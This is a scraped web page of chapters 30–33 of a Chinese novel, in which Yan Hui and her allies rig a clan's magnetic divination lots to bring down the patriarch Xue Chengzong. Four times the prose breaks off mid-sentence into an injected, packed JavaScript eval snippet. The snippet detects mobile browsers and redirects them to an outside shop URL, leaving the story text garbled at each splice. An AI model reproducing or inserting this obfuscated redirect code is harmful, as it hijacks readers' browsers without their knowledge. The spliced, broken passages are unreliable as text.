“啊……还来？”唐珠儿唉声叹气道，“咱们都离开薛府，还怎么撺掇这帮臭鱼烂虾开大会啊！” 晏回与范凌舟对视了一眼，范凌舟微微掀开车厢的布帘：“想吃冰天上便下雹子，瞧，机会这不就来了。” 只见数十名衣衫褴褛的佃农围聚在一起，群情激奋地朝着薛府走去。 “楚兄，把马车打横停在那边儿树荫下，咱们看完热闹再走。”范凌舟道。 30. 生死签（十三） 借着微微掀起的车帘，数双眼睛挤在一处，向着薛府的正门望去。此时，佃农们已经在朱漆大门前跪下，与薛德贵带领的虎视眈眈的家丁们形成对峙之势。 为首的老汉双手高举着一张泛黄的地契，嘶哑地哭喊：“薛老爷！再给俺们留条活路吧！这地俺们租了三代人，凭什么说收就收啊！” 身后的众佃农们也在老汉的带领下叩头不止，大放悲声：“薛老爷！俺们这几家可是签的永佃的合同，于情于理都不该收啊！” “就是啊，老爷家里有个什么力气活儿，种果树搬石头的，咱们可从没二话啊！哪次不是随叫随到？怎地一到事儿上翻脸不认人呢！” 佃农们群情激奋，互相推挤着向门口涌去，一张张黝黑的脸上满是绝望。为首的薛德贵可不是吃素的，对待晏回他尚能卖幺爷个面子，可对待这帮无所依仗的佃农，他却是毫不留情。 只见薛德贵飞起一脚，重重地踹在为首老汉的心窝上，怒斥道：“哪来的刁民！敢在薛府门前撒野？再不退去，休怪棍棒无情！” 老汉被踹得直倒粗气，靠在身后人的怀里，痛心疾首道：“小贵子，论……论辈分，俺还称得上是你二叔，你小时候……俺……俺还抱过你，你不能忘了本啊！” “二叔！？我今儿就让你见识见识，谁——他//娘的是谁的二叔！” 薛德贵一声令下，众家丁一拥而上，棍棒响鞭便铺天盖地地落了下来。有个年轻佃农试图冲上前，刚迈出两步就被一记闷棍砸中后脑，直挺挺地倒了下去。人群哭嚎声顿起，却又在家丁们的威胁下不敢再动，只能眼睁睁看着同伴被拖走，留下一路淋漓的血迹。 薛德贵出手狠辣，毫不留情，只用了不到一炷香的功夫，便彻底镇压了这一场来势汹汹的佃农逼宫。 “若再给脸不要脸，就等着给那小子收尸吧！”薛德贵撂下一句狠话，再不看那些哀嚎满地的佃农，重重关上了薛府的朱漆大门。 旁观了全过程的楚庸早已是怒火中烧，他的目光死死钉在薛德贵的背上，心中暗道：待青杳姑娘事了，就算晏回姑娘不欲找这狗腿子的麻烦，我也定要让他付出代价。 正想着，却听身后传来清冷的一声唤：“楚兄，跟上他们。” 楚庸身体上的反应比头脑更快一步，手中缰绳一抖，马车便动了起来。他将背微微向后靠了靠，正欲开口询问，却听帘后之人已经默契地开了口。 “咱们这便去给薛家送一份‘大礼’。” * * * 来时群情激奋的佃农，返回时却唉声叹气，如丧考妣，其中以领头的吴老汉为最。被薛府打晕拖走，强行扣押的年轻佃农是他的幺儿。爹疼满息，此刻的他更是心如刀绞，步履维艰。他捂着被薛德贵踹得青紫的心口，脑中乱成了一锅粥。 整个村儿里，他不算是损失最为惨重的，却是最愿意出头的。他自认为薛德贵算得上是自己的侄儿，自己又是最早一批跟着薛府租佃的农户，在东家那里怎么说也能领几分薄面，这才带着乡亲们到薛府求告，谁料…… 天色逐渐暗了下来，吴老汉踉踉跄跄行着，全然没有注意到，身后不远处有一辆马车，正不远不近地跟着。 及至行到村东头大槐树下，正是四下无人，月上西天，吴老汉忽觉背上一僵，一双莹白如玉的手已经按在了他的肩井穴上。 一张如狐仙般白生生，亮堂堂的脸凑了过来，懒洋洋道：“老丈，借个道。” 还不待吴老汉反应，又有一道黑影狸猫般从车中窜出，二人动作利落地将兀自发怔的吴老汉“架”进了车厢。 吴老汉陡然回神，刚欲呼救，却被一旁的小丫头眼疾手快，将一个物什塞进了嘴里。吴老汉惊骇万分，只当是薛府欲对他父子俩动手，不由得吓得牙齿打战。唇齿磕碰间，只觉口中之物松软绵密，清甜异常，细细一品，竟是一块上好的绿豆糕。 “吃了‘上路糕’，就得老老实实听话才是，否则——”小丫头在颈上做了一个凌厉的切割动作，冲吴老汉歪头一笑。 吴老汉本就受了一日磋磨，此刻再被唐珠儿和范凌舟一吓，当即嘴皮子一缩，两行清泪便淌了下来。 范凌舟一怔，不消片刻又乐了，拍了拍吴老汉的肩膀：“上路糕太噎人了？那便再饮些黄泉汤吧！”说完，径自将酒葫芦递了过来。吴老汉哪敢反抗，和着眼泪喝了，还不忘用残酒漱了漱口中的饼渣。 喝完酒，吴老汉可怜巴巴地往车厢一角缩了缩，却听范凌舟悠悠然开口了：“方才在薛府门口，带头闹事的是你吧？” 吴老汉点了点头，心中暗暗揣测，劫持自己之人定然是薛府的走狗，这是要杀人灭口了…… “被薛府拖走的吴栓住是你幺儿，没错吧？” 吴老汉再次屈辱地点了点头，留出的眼泪更多了。 “那你可知，薛府大院儿的柴房好进不好出，薛德贵更是吃人不吐骨头，这一趟，你的幺儿恐怕是凶多吉少。” 闻言，吴老汉再也不忍不住，强梗着脖子，怒道：“俺家孩子小，不懂事，你们有本事冲俺来！” “哟，还是块硬骨头呢！”唐珠儿一挑眉，冲范凌舟使了个眼色。 范凌舟默契 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184830|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地接了那记飞眼，调侃戏谑之色顿敛，他将手中的灯笼举高，将车厢内照得明亮了些。吴老汉这才看清，除了这名男子和小丫头，车厢中竟还有一位面如霜雪的女子。 “实话跟你说，我们同那薛府也不对付。地和人，我们都有办法替你讨回来，只是，你要替我们做一件事。” 前有薛府的压榨，后有长生观众人这一吓，虱子多了不咬，债多了不愁，吴老汉早已没了最初的嗫嚅纠结，管它什么上路糕黄泉酒，管他是精怪山匪还是天兵天将，只要这帮人能救回幺儿，他还有什么说的？ 吴老汉用力点了点头。 见他应了，范凌舟缓缓道：“明日一早，带着所有佃农去历城县衙敲登闻鼓，就说薛府逼迫佃户、强占永佃田产、私采铁石。状纸我们替你写好，只要你敢递上去，薛承宗必定身败名裂。” 吴老汉接过状纸，他不认字，只是盯着状纸颠来倒去的看：“这……这就能成？” 晏回睨了他一眼，开口道：“知道多了对你没好处。” “就是！让你递你便递，别搁这儿问七问八的，我们这也是脑袋绑裤腰上帮你呢！递得好，地和人都归你；递得不好，死人便归你。”唐珠儿龇着尖尖的虎牙，瞪着黑黢黢圆溜溜的眸子，一瞬不瞬地盯着吴老汉看，“抓紧，画押！” 吴老汉扫了一眼车中俊俏的男男女女，他们年纪很轻，最小的那个丫头片子都能给他当孙女儿了。她们瞧上去凶神恶煞，似乎抬抬手就能结果了他的性命。可不知为何，看着竟比薛府那帮道貌岸然的家伙顺眼得多。既然横竖都是一死，他宁可信她们。吴老汉心一横，噗通一声跪下了。 “各位恩公！不瞒你们说，俺……俺早就想告了！只是怕薛家报复，连累乡亲……”他猛地攥紧拳头，大声道，“俺这条老命就豁出去了！明日一早，俺就带全村人去敲登闻鼓！倒要让天下人看看，这济南府的薛家，是怎么欺负俺们这帮庄户人的！” 车中三人互相对望一眼，微微颔首。 车帘被掀开，吴老汉被一直候在外面的车夫扶下了车，车帘瞬时合拢，仿佛刚才车厢中的密谈从未发生过一般。吴老汉朝着村里的方向双腿僵直地走了两步，忽地转身，抹了一把满脸的泪。 楚庸正准备拍马回车，见此情景，不由得停住了。 只见月光下的吴老汉冲着他咧嘴笑了笑，露出缺了半颗牙的牙床：“恩公，要是知道是这事儿，还用你们费这劲绑俺？俺自个儿就能扛着棺材去县衙！俺……俺这便去了！” 说完，吴老汉攥紧了拳，挺直了腰板，往家的方向走去。 31. 生死签（十四） 一阵突如其来的刺痛袭上头顶，在风池穴偏上的位置猛地炸开，让薛承宗不由得蹙紧了眉头。头风已经犯了数日，发作之处摸上去微微发烫，白日里坐立不安，黑夜里辗转难眠，便是老成持重如薛承宗，也再难压制住被头风折磨出的火气，成日里黑着脸，甚少言语。 头风之症，冷不得，热不得，潮不得，燥不得，惊不得，怒不得，久睡不得，罕眠不得，是极娇贵之病症。可近些日子来，薛承宗却是诸事不顺，百废不兴，终究是把头风这祖宗勾扯起来了。 借着祠堂群议的事由，老二家的算是彻底和他撕破了脸。老三薛承文虽还是保持着面儿上的平和，可薛承宗知道，他终究是同老二走得近些，这使得原本就不够平衡的薛氏权力机构愈发倾斜。而自己那不争气的儿子薛世茂，自姓晏的小子走了之后就日日不见人，不是在酒楼醉生梦死，就是带着一群家丁东奔西跑替人家寻马，倒是比自家的事儿都上心。薛承宗恼恨得紧，只巴望着尽快给儿子物色一个持家的女人，将他好好管束起来。 家里的事儿已经一脑门子官司了，孰料前两日，佃农们又闹出了大祸。那帮大字不识的大老粗们，不知受了谁人的蛊惑，听了谁人的指使，竟然写了状纸，敲了登闻鼓，将土地被收缴一事闹上了历城县衙。 而历城县衙坐镇的裘县令，立时便接了案子，只怕不日便会找他问话。薛承宗是又送礼又送钱，把裘县令手底下的师爷捕头哄得服服帖帖，尽力拖延着时间，但只怕…… 薛承宗咬紧了牙关……只怕便是再拖延，也无非是一月之期。那片土地，绝对不能让渡到旁人手中啊！ ——当断不断，反受其乱！若是薛负未死，自己又何苦受人挟制！ 心中恨恨地向着，薛承宗浓眉一拧，喝道：“来人！” 屋外候着的小厮身子一哆嗦，小心翼翼地踏进门来。 “速速将二爷，三爷和公子请来，就跟他们说，祠堂群议不日将开，我这便去向族老们请示，若是不来，后果自负！” * * * 薛世茂万没想到，祠堂群议竟然能够一月之间召开两次，这是自他记事以来从未有过的情况。 宿醉未醒，他晃晃悠悠地迈着步子，跟在族老和叔公们身后走入祠堂。冷不防脚下一绊，整个人就跌跌撞撞地冲了出去。走在他身侧的薛承业眼疾手快，一把扯住了薛世茂的胳膊，又随着他踉跄了数步，方才保持住平衡。 “世茂，怎地这般冒失。”薛承业与薛承宗闹了个大红脸，却瞧着大侄子愈发顺眼，是以小声叮嘱道。 薛世茂没有回答，只是有些慌乱地在腰间摸索着什么。 “是丢东西了吗？要不要快些遣人去找？”见他找得满头大汗，薛承业关心道。 薛世茂又蹙着眉摸了一阵，突然面色一黯，浮起一抹苦笑：“让二叔焦心了，非是丢了，而是送了……” 薛世茂一向是有话直说的性格，此番若有所指，反倒让薛承业听不明白了：“送了？什么送了？送谁了？” 薛世茂摇了摇头，轻声叹道：“没什么，二叔……” “这孩子，是不是发烧了……”薛承业见薛世茂始终不肯说，只得小声咕哝了两句，在薛承宗严厉的目光注视下，各自站好。 薛世茂强睁着昏沉的双眼，等待着祠堂群议既定的步骤。无非是请香，通神，求签……前一次因着晏回的缘故，薛世茂分秒不敢走神，而这一次，他认作兄弟的晏回已然被父亲赶走，无论此次求签是为何，结果是如何，都无法动摇他的心神。 正愣神着，却听薛承宗开口了。 “正如诸位所知，神签筒中共有一百单八支神签”，他目光如炬扫过堂下，“而我薛氏族中，年逾弱冠的男丁，算上今年刚满二十的世茂，不多不少，正好一百单八人。” 父亲阴鸷的声音多少扯回了些许薛世茂的神识，他环顾四周，看着祠堂中面容模糊的众人，一张张熟悉却陌生的面孔在烛火中泛着摇曳的青灰，让他不由得腾起一股不祥的预感。 “一月之前，神签选中了薛负，然薛负办事不利，已受惩戒。今日，神签将再选出一人，继续薛负未完成之重任，诸位可有异议？” ——薛负？ 薛世茂蹙着眉想了半晌，脑海中浮起一张平凡的脸。他记得这个远亲，寡言少语，是个名声在外的私塾先生，据说县令家的两位公子也在他的门下求学。不过，自上次祠堂群议之后，便再也没有见过此人了。 他去了哪里，又是受了什么惩戒，他的家人亲朋又在做什么呢…… 他昏昏沉沉地想着，却听不远处的二叔开口了。 “既然薛负之事未成，族中亦未见动荡，可知此事并非紧迫至极，何必再次兴师动众，举行祠堂群议呢？” “是啊，自我加入群议数十年，倒是没有过这般的先例，就一事兴两议，恐怕……”立在薛承业身旁的薛承文也应和道。 “哼”，薛承宗从牙缝中挤出一声冷嗤，面上笑容森然，“兴师动众？你们可知，佃农闹上县衙，敲了登闻鼓，裘县令限我三日之内给出答复。历山脚下的上千亩良田，是我薛氏数代基业，若被官府借此由头分割收敛，族中祠堂的香火钱从何而来？你们各家的月例银子又从何而来？” “承业，凭你的马场和酒楼生意，可能撑得起薛氏的门面！？”薛承宗定定地看着薛承业，一字一顿道。 “亦或是你，承文，凭你的赌坊生意，又能否养得起这一大家子人！？” “兴师动众！？我看是你们醉生梦死，忘本逐末！”薛承宗的声音陡然转厉，威胁之意顿显，“若还有异议者，便将历山良田一年租赋悉数交出，再做置喙！” 薛世茂偷眼瞧去，方才还理直气壮的二叔已是垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184831|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头不语，三叔更是隐在阴影处看不真切了。他的名下虽尚无产业，可基本的常识还是知道的。这历山千亩良田年产稻米折成现银，足可买下半个济南府的绸缎庄，这哪里是要异议者说话，分明是堵死了所有人的退路。 祠堂内鸦雀无声，薛承宗又等了片刻，冷肃道：“既然诸位都无异议，那今日便请出神签，由祖宗决出一人，为宗族解此危局。” “事成，则记头功；事败，则一身担罪，休教祸延族人！时辰到，请香——” 请香的仪式在死一般的寂静中开始又结束，薛承宗从高举的铜托盘中接过神签筒。他挺直瘦削的脊背，余光扫过堂下垂首的族人。 “薛氏列祖列宗在上，”他的声音比往日前洪亮了几分，头风的隐痛被一种掌控感压了下去，“今日再请神签，非为私怨，乃为薛氏千亩良田之存续——”他顿了顿，攥紧签筒的手微微用力，竹签相撞的“咔啦”声在寂静的祠堂里格外刺耳，“若有族人为私利阻挠，便是与祖宗为敌！” 随着掷地有声的话音将落，他手腕猛地一旋。 所有人的目光都被倾斜的签筒攫住，就连双眸迷迷瞪瞪的薛世茂此刻也微微张大了嘴巴，抻长了脖子望过来。众人之中，唯有手持签筒的薛承宗面上平静如水，对于即将抽取出来的结果，他早已心中有数，只待竹签落地的那一刻。 “刷——”一支竹签破筒而出，在万众瞩目下直挺挺坠地。 薛承宗弯下腰，将竹签捡了起来。 “今次神签落地，列祖列宗所简者——” 薛承宗突然顿住了。 瞳孔倏地骤缩，薛承宗不可置信地盯着竹签上的文字。那朱笔写就的字迹分外清晰，如同一个嘲弄的笑脸。 ——那是他自己的名字。 “不可能……”薛承宗声音低沉得宛如梦呓。 “大哥，祖宗择选的是谁啊？”三弟薛承文的声音悠悠飘来。 薛承宗心思急转，不可能，绝对不可能！这签筒甩出的竹签可以是任何人，但独独不会是他自己。而如今，不可能的事情就眼睁睁在他的面前发生了，那只能是—— “这签是假的！定是你们动了手脚——”薛承宗死死攥住那根竹签，目光扫过薛承业，扫过薛世茂，最后死死钉在薛承文身上：“老三！是你！你早就和那姓晏的勾结了，是不是！” “欸，大哥，这就是你的不对了！”薛承业踏前一步，打起了圆场，“你先别着急攀咬，族中老少爷们儿都瞧着呢，你至少得让我们知道选出的是谁吧！” 薛承业一边说，一边蹑手蹑脚地朝着薛承宗靠近。此刻，薛承宗一门心思盯着薛承文，全然没有料到薛承业的偷袭，只一个转念，竹签就被薛承业抢到手里。 “总不至于是世茂吧！”薛承业一边说，一边反转竹签，看向其上的朱笔红字，“是——是大哥你！” 32. 生死签（十五） 最后几个字，薛承业几乎是喊出来的，便是站在最后排的小辈儿都能听得真切。 “什么？”薛世茂也怔住了，虽然心里知道请签之事，在场人人有份，可他说什么也没想到，这次请签竟然就“请”到了爹的头上。 堂下一片哗然，薛承宗老脸一沉，恶狠狠地瞪着满脸无辜的薛承业：“老二，你也不必枉做好人，这事你定然也出了力！” “不是，这也能赖到我头上？”薛承业被气笑了，“众目睽睽之下，这签筒我碰都没碰过！再说了，签筒究竟存放于何处，也一直是薛氏的当家人才能知晓，大哥一直大权在握，何曾将存放地告予过旁人！” “便是做手脚，那也是大哥你！”薛承业反将一军，怄得薛承宗面白如纸。 “二哥，你说错了，做手脚的定然不是大哥。”始终冷眼旁观的薛承文开口了，方才薛承宗指摘于他，他不曾辩驳，此番薛承宗成了众矢之的，他反倒帮腔，这一下，众人莫不对平日里不言不语的薛承文刮目相看。 “瞧瞧，三叔这格局，大的咧！” “就是！你们倒是不知，三叔前些日子喜得的麟儿，可是素佛陀呢！” “啥？什么叫素佛陀啊？” “就是自打生下来便吃素，一点儿荤腥都不沾，我听说，那孩子自娘胎里便打坐了！” “哎哟——三叔是能成大事儿的人啊！” 堂下的嘈嘈切切在薛承宗听来如同蚊鸣，他强撑着疼跳不已的头，看向一旁面容温和，隐然含笑的薛承文。 “若是大哥动的手脚，又怎么会将自己推至险境呢？既然竹签选出的人是大哥，那便是祖宗作证了大哥的清白。大哥，您说是吗？” 薛承文声音柔婉，如同女子，字字句句隐含诱导之意，让薛承宗不自觉地点了点头。 “可是——”薛承文音色倏然拔高，带着昭示天下的意味，“即便大哥再清白，也非是您推诿的理由。” “既然列祖列宗择选得您，那您——就得当仁不让！” 薛承宗陡然一惊，颤巍巍地指向薛承文：“你——” “大哥，是您自己说的，若有族人为私利阻挠，便是与祖宗为敌。您如今……竟是想与祖宗为敌吗？”薛承文冷冷抬眸，注视着面前的大哥薛承宗。大哥一直以来大权在握，受尽荣宠，说一不二，可惜树大招风，族中不满意他的人，已经不仅仅是自己和二哥这么简单了。 “二叔，三叔，世茂愿代替爹爹，为宗族解此危局。”又有一人排众而出，挡在薛承宗身前，正是薛世茂。 薛承宗万万没想到，往日里最不靠谱的幺儿，此时竟敢冒着天下之大不韪，代自己受过，心中不免百感交集，紧紧握住了儿子的手腕。他薛承宗只此一个麟儿，他是绝对不会让薛世茂白白送死的。 一声冷笑溢出嘴角，薛承文缓缓摇了摇头：“世茂啊，你终究是没有理解祖宗家法之意。今日之事，无论是大哥，还是二哥与我，亦或是你，都说得不算，唯有祖宗说得算。” “既然祖宗择选了大哥，那便说明，此事唯有大哥能办，也唯有大哥能办得到，无论何人都不能替代。” 薛承文的目光掠过薛世茂尚且懵懂的面容，最终停在薛承宗铁青的老脸上：“否则，只能家法伺候了。” 薛承宗大权独揽这么多年，又岂是能任人宰割的性子，他猛地将薛世茂扯到自己身后，怒喝道：“大胆！来人呐！此次请签定有蹊跷，祠堂中人一个都不许离开，待厘清事实……” 薛承宗的声音越来越弱，最后如同融散在水中的墨汁一般，飘忽不可闻了。 祠堂外静悄悄的，全然没有重兵把守的迹象，往日里最信赖的薛德贵竟是一点儿反应也无。 “来人呐——”薛承宗又声嘶力竭的喊了一句。 回应他的依旧是死一般的寂静。 “大哥，在族老和小辈们面前，为了一己私利，闹得如此不堪，实在是——”薛承文打断了薛承宗一声高过一声的唤，怅然道，“——实在是太让吾辈失望了！来人呐！” 一声令下，祠堂大门轰然洞开，众家丁在薛德贵的带领下持棍而立，宛若一道森冷的壁垒。 “族长薛承宗不孝祖宗、扰乱族规、独断专行、视祖制为无物，是可忍孰不可忍，将此薛氏罪人，押送‘悔过堂’，没有我的命令，不可离堂一步！”薛承文的目光扫过薛承宗惨白的脸，宛若划过冰面的刮刀，“让他在列祖列宗的牌位前，好好想想‘敬畏’二字怎么写！” 话音刚落，家丁们便冲将上来，将薛世茂和薛承宗团团围住，薛德贵对这位过去的主子最是狂嚣，抬手便要去拧对方的胳膊。 “我去你的！”孰料，薛德贵还没碰到薛承宗的衣角，心口上便被狠狠踹了一脚。薛世茂咬牙切齿地瞪着这昨日还低眉顺眼，舔脸陪笑的家仆，怒骂道：“狗都不如的东西！老子看谁敢动我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184832|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹！” 薛德贵被薛世茂踹得一个后滚翻，脑袋“砰”地磕在立柱上，震得嗡嗡直响，多年积累的怨愤随着喷溅的唾液冲口而出：“幺爷，得罪了！都给我绑了！” “你敢——呜——”还不待薛世茂骂出第二句，一团臭烘烘的破布就被塞进口中，再也言语不得，只能瞪着通红的眼睛，恨不得在所有人的脸上剜出一个洞来。 正所谓，虎落平阳被犬欺，落魄凤凰不如鸡。此时的薛承宗大权尽丧，便是再挣扎也是徒增笑叹罢了。在一众家丁闹哄哄的推搡下，薛承宗和薛世茂被反绑着押出了鱼骨祠。 薛世茂不甘的呜咽声渐行渐远，薛承文收回冷峭的目光，端端正正向诸位族老施了一礼：“一场闹剧，让诸位族老见笑了。祖宗借神签罢黜家贼，承文斗胆越级行事，还请诸位族老叔公们家法惩处。” 薛家辈分最高的三老太爷颤巍巍地对着薛承文拱手回礼道：“日防夜防，家贼难防，承文呐，你这是受任于败军之际，奉命于危难之间，何错之有？薛承宗不敬祖宗、独断专行，合该有今日之患！” 他身后的几位族老纷纷附和：“三老太爷说得是！”“祖宗之命不可违！”“承文当机立断，颇有先祖之风啊！” 这些道貌岸然的族老，早已经成了薛承文的拥趸。他们有的收了薛承文的良田，有的得了他暗中送来的银钱，此刻自然是“心向祖宗”，又能有什么异议呢？看着众位族老，不顾身体虚弱，奉上的山呼海啸般地拥护，薛承文温和地笑了。 “既如此，”他缓步走到祠堂正中，对着神座深深一拜，“列祖列宗在上，今日薛氏无主，族老们若信得过晚辈，晚辈愿暂代族长之职，整顿族规、彻查积弊，还薛氏一个清明！” 三老太爷捋了捋雪白的长髯，笑着颔首道：“祖宗定是属意三爷的。” “拥戴三爷为族长！”第一个高举手臂的，是早已心中有数的薛承业。只要大哥能让出位置，便再也没有人阻碍他大展拳脚了。他早就跟大哥说过，宁当凤尾不做鸡头，可大哥软硬不吃，这便也怪不得他薛承业无情了。 “拥戴三爷！” “拥戴三爷！” 呼声像潮水般漫过祠堂，连站在后排的年轻族人也跟着喊起来——他们早受够了薛承宗的严苛，巴不得换个“宽厚”的族长。 薛承文缓缓直起身子，脸上依旧挂着那惯常的，慈悲而柔和的笑：“承文——责无旁贷。” 33. 生死签（十六） 薛承宗蜷在冰冷的草席上，竭力压制着一阵紧似一阵的头风。身下的阴寒气，颅顶的灼烧感，让他深陷冰火两重天，几欲作呕。他从小便被族中寄予厚望，身为嫡长子，才过而立之年，他便当仁不让地从父亲手中接过了族长一职，传承至今。 他不是没有想过旁人对这个高位的觊觎，可他大权在握，春秋隆盛，膝下又有幺儿薛世茂，并无后顾之忧。他本以为，族长之职将会毫无悬念地承递到薛世茂手中，哪怕幺儿顽皮了些，跋扈了些，有自己从旁帮衬着，也不会惹下什么大的纰漏。 可这一切，竟然被那最不显山露水的老三从中截断，自己筹谋多年，竟是为他人做了嫁衣。 薛承宗狠狠地辗噬着自己的下唇，恨不得咬下块肉来。 不对，不仅仅是薛承文，他自己绝没有这么大的本事，也没有那么大的胆量，定然是背后有人指点迷津，暗暗撺掇，方有今日之祸。是薛承业吗？他与自己较量过数次，哪次不是惶然落败，借着年底要账的事由躲出家里…… 是了，是了！晏回——定然是那小子，自己怎么会忘了这连环计中最重要的一环！ 天人交战之际，心中恨不得饮其血，食其肉的人，竟不知何时出现在眼前。 薛承宗怔了片刻，细细分辨着面前之人的面容，又向悔过堂紧闭的大门扫了一眼。他端正坐直，扥了扥被压皱的衣襟，冷肃道：“你是如何进来的！”言辞之间，依旧不失一族之长的威严。 晏回居高临下地看着他，讥讽地勾了勾唇：“在你看来坚不可摧的锁钥，在我眼中，无过是孩童手中的九连环，摆动两下便开了。”她冲着薛承宗晃了晃那具铜锁，“而你，一个连大门都守不住的丧家犬，倒还有力气嗷嗷狂吠。” 薛承宗咬紧后槽牙，冷笑道：“你枉费这般力气，只是为了与薛家做生意？还是老二老三买通了你，只为逼我让位？便是他们夺得族长之位，与你又能有什么好处！” 晏回不可抑制地大笑起来，清俊的面容在晃动的烛火中呈现出莫名的扭曲之感。她仰头笑了良久，方喘着气直起身子，睨着薛承宗：“死到临头，你还是满脑子族长之位，当真死得不屈。那薛承文、薛承业又是什么东西，值得我合纵连横——”晏回踏前一步，倏地弯下腰揪住薛承宗的领口，一字一顿道：“你记住了，我为的是枉死的薛负。” “薛……负！？”薛承宗不由得哑然失笑。这个名叫晏回的假胡商，先是救了闹市奔马的世茂，引得世茂一睹遗世的“拳毛騧”，成功打入薛家；又暗地搅动风云，惹得薛承业、薛承文蠢蠢欲动；再借一场泥石流，放走假的拳毛騧，让想要当场抓包的自己扑了个空，更是借此唱了一场苦肉计，逼得自己重开祠堂群议。 想来，神签筒便是那时掉包的。再后来，联络佃农闹上县衙，使得一月之内两开祠堂，害自己身陷囹圄自是顺水推舟之事了。 层层布局，计计相扣，绞尽脑汁，心机算尽，就为了一个小小的薛负！？ 那薛负寡言讷语，人才平平，若非他是县令家两位公子的教书先生，只怕他都不配承担自己给予的重任！ 薛承宗大笑起来，额角青筋暴起：“可笑，当真可笑！你若是为了吞并薛府而筹谋，我还敬你是条汉子。没想到及至最后，竟是为了那么一个废物！身为薛氏族人，受尽薛氏照拂，在关键时刻竟只顾携着妻子出逃，连为族人粉身碎骨的勇气都没有，他还有什么颜面苟活于世！” 许是笑得太过嚣狂，他的瞳仁里已经布满了血丝，他死死瞪着晏回，如同看着这世上最精彩的笑话：“晏家小子，老夫今日给你上一课。这世上只有两种人，有用的和该死的，薛负就是后者！” 他抬起手，颤巍巍地指向晏回，冷嗤道：“你若还是个脑子活泛的，现在便放了我，可不要敬酒不吃吃罚酒！那些什么行侠仗义，替天行道的伎俩，无非是索要银钱的砝码罢了，你当我不懂？” “银钱？”晏回的笑意瞬时收敛了，从薛承宗的角度看去，那清俊的脸拢在烛火晃动的光芒里，被镀上了金属般冷硬的色泽。高高隆起的山根与笔直的鼻梁连在一处，将那张脸鲜明地分成明暗两面。明处，静默如处子；暗处，那流溢而出的疯狂与凶戾已再难掩藏。她疾步上前，在薛承宗还大张着嘴，呶呶吠叫的瞬间，凌然出手！苍白的手指在对方的肘关节处一用力，薛承宗便发出一声惊恐的惨叫。 他的胳膊，被晏回生生卸掉了。小臂颓然地耸拉在胸前，以一种诡异的角度弯折着。 “你……你这个疯子！”薛承宗哀叫着倒地，冷汗浸透衣衫，却见晏回蹲下身，凑到他耳边，声音轻得如同梦呓：“你瞧，这世上究竟是有银钱买不来的东西，我最恨的就是你这种人，定要让你尝尝骨肉分离之痛。” 不知为何，难以忍受的极度痛楚竟然让薛承宗想到了某些他一直以来忽略的东西。 “不对……不对！”他捂着弯折的手臂，死死盯着晏回近在咫尺的脸，咬牙切齿道：“慈石分阴阳二极，神签筒与神签之中皆暗藏慈石，如果想要哪根神签被抛出，只需提前将神签调个方向，同极相斥，自然得中。可是……为防事变，代表族长的神签只有一极，只会牢牢吸附着神签筒内壁，绝无被抛出的可能啊！” 他的声音微微发颤，似是感到寒冷一般：“那你的慈石……是哪儿来的？” 薛府所用之慈石，世间罕有，无论吸引还是排斥之力都极大，这才能将竹签抛出，而晏家小子又是如何在这么短的时间内，寻到这等珍贵的慈石呢？ 晏回终于释然的笑了，她究竟是引着薛承宗走上了她提前布好陷阱的道路。 “你总算想到了，睁大你的狗眼瞧瞧，这是什么？”晏回掏出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184833|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块玉佩，在薛承宗眼前晃了晃。 薛承宗如遭雷击，张口结舌道：“这是……这是世茂的……的……” 晏回懒得等他结巴完，截口道：“没错，就是你的幺儿——薛世茂。你在将我‘请’出薛府之时，薛世茂送来了薛灵犀做的桂花糕，而这块玉佩也被他藏在油纸包中，赠与了我。” 晏回笑得开怀：“薛灵犀曾对我说过，她与薛世茂各有一块镶嵌有慈石的玉佩，两块玉佩放在一起，就会相互吸引，图一个‘姐弟连心’的吉利。有趣，甚是有趣，他竟亲手将杀父的刀递给了我。” 她如新月般弯曲莹亮的眉眼盯着薛承宗瞧了半晌，似是在认真欣赏他五雷轰顶般地情状：“你说，如果我将实情告诉他，按他的性格会怎么做呢？” 